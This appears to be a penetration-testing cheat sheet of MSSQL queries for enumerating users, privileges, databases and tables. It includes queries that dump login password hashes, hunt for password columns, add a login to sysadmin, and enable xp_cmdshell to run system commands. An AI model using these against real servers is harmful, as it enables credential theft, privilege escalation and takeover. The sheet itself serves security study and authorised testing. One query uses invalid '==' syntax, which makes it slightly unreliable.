MSSQL

Search…
MSSQL
Some of the queries in the table below can only be run by an admin. These are marked with (PRIV) at the description.
Version
1
SELECT @@version;
Copied!
Comments
1
SELECT 1 -- comment
2
SELECT /*comment*/1
Copied!
Current User
1
SELECT user_name();
2
SELECT system_user;
3
SELECT user;
4
SELECT loginame FROM master..sysprocesses WHERE spid == @@SPID
Copied!
List Users
1
SELECT name FROM master..syslogins
Copied!
List Password Hashes (PRIV)
1
#MSSQL 2000
2
SELECT name, password FROM master..sysxlogins;
3
​
4
#MSSQL 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
5
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;
6
​
7
#MSSQL 2005
8
SELECT name, password_hash FROM master.sys.sql_logins;
9
​
10
#MSSQL 2005
11
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;
Copied!
List Privileges
1
#Current privs on a particular object in 2005, 2008
2
##Current database
3
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE');
4
##Current server
5
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER');
6
##Permissions on a table
7
SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT');
8
SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
9
​
10
#Permissions on a user-current privs in 2005, 2008
11
SELECT is_srvrolemember('sysadmin');
12
SELECT is_srvrolemember('dbcreator');
13
SELECT is_srvrolemember('bulkadmin');
14
SELECT is_srvrolemember('diskadmin');
15
SELECT is_srvrolemember('processadmin');
16
SELECT is_srvrolemember('serveradmin');
17
SELECT is_srvrolemember('setupadmin');
18
SELECT is_srvrolemember('securityadmin');
19
​
20
#Who has a particular priv? 2005, 2008
21
SELECT name FROM master..syslogins WHERE denylogin = 0;
22
SELECT name FROM master..syslogins WHERE hasaccess = 1;
23
SELECT name FROM master..syslogins WHERE isntname = 0;
24
SELECT name FROM master..syslogins WHERE isntgroup = 0;
25
SELECT name FROM master..syslogins WHERE sysadmin = 1;
26
SELECT name FROM master..syslogins WHERE securityadmin = 1;
27
SELECT name FROM master..syslogins WHERE serveradmin = 1;
28
SELECT name FROM master..syslogins WHERE setupadmin = 1;
29
SELECT name FROM master..syslogins WHERE processadmin = 1;
30
SELECT name FROM master..syslogins WHERE diskadmin = 1;
31
SELECT name FROM master..syslogins WHERE dbcreator = 1;
32
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
Copied!
List DBA Accounts
1
#Is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’.
2
SELECT is_srvrolemember('sysadmin');
3
​
4
#Is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
5
SELECT is_srvrolemember('sysadmin', 'sa');
6
​
7
#MSSQL 2005
8
SELECT name FROM master..syslogins WHERE sysadmin = '1';
Copied!
Current Database
1
SELECT DB_NAME();
Copied!
List Databases
1
SELECT name FROM master..sysdatabases;
2
SELECT DB_NAME(N);
Copied!
List Tables
1
#Use xtype = 'V' for views
2
SELECT name FROM master..sysobjects WHERE xtype = 'U';
3
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
4
​
5
#List colum names and types for master..sometable
6
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
Copied!
List Columns
1
#For current DB only
2
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');
3
​
4
#List colum names and types for master..sometableFind Tables from Column Name
5
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 
Copied!
Find Tables from Column Name
1
#This lists table, column for each column containing the word 'password'
2
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%';
Copied!
Hostname, IP Address
1
SELECT HOST_NAME();
Copied!
Create Users (PRIV)
1
EXEC sp_addlogin 'user', 'pass';
Copied!
Delete Users (PRIV)
1
EXEC sp_droplogin 'user';
Copied!
Make User DBA (PRIV)
1
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
Copied!
Location of DB Files
1
#Location of master.mdf
2
EXEC sp_helpdb master;
3
​
4
#Location of pubs.mdf
5
EXEC sp_helpdb pubs; 
Copied!
Command Execution (PRIV)
1
#On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default
2
EXEC xp_cmdshell 'net user';
3
--
4
EXEC sp_configure 'show advanced options', 1; 
5
RECONFIGURE;
6
​
7
EXEC sp_configure 'xp_cmdshell', 1;
8
RECONFIGURE;
Copied!